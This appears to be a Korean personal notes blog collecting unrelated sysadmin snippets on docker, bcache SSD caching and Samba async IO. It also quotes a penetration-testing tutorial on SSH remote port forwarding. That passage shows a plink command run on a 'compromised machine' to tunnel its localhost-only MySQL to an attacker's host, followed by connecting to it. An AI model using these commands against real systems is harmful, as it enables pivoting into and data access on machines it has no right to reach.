구차니의 잡동사니 모음

 docker run 명령이 "create" 와 "start" 명령을 한번에 실행시키는 명령

It turns out, both Linux and Windows now have the ability to use an SSD as a cache for a slower disk. The Linux version is called BCache and has been available since kernel 3.10 (available in Debian Jessie - Testing). 

you can use BCache on Linux to enable caching of the file drive by using your SSD as a cache 

Well, we got a bcache answer but no flashcache answer 

After looking at the samba configuration file I saw that Async IO (AIO) was not enabled by default. What AIO does is that it let’s Samba handle several file operations asynchronously. This can, at the expense of some CPU cycles, increase the performance quite a lot. 

sshd: root@pt 

Remote port forwarding

Remote port forwarding is crazy, yet very simple concept. So imagine that you have compromised a machine, and that machine has like MYSQL running but it is only accessible for localhost. And you can't access it because you have a really crappy shell. So what we can do is just forward that port to our attacking machine. The steps are as following:

Here is how you create a remote port forwarding:

ssh <gateway> -R <remote port to bind>:<local host>:<local port>

By the way, plink is a ssh-client for windows that can be run from the terminal. The ip of the attacking machine is 111.111.111.111.

Step 1 So on our compromised machine we do:

plink.exe -l root -pw mysecretpassword 111.111.111.111 -R 3307:127.0.0.1:3306

Step 2 Now we can check netstat on our attacking machine, we should see something like this:

tcp        0      0 127.0.0.1:3307          0.0.0.0:*               LISTEN      19392/sshd: root@pt

That means what we can connect to that port on the attacking machine from the attacking machine.

Step 3 Connect using the following command:

mysql -u root -p -h 127.0.0.1 --port=3307 

# remote-viewer spice://localhost:5900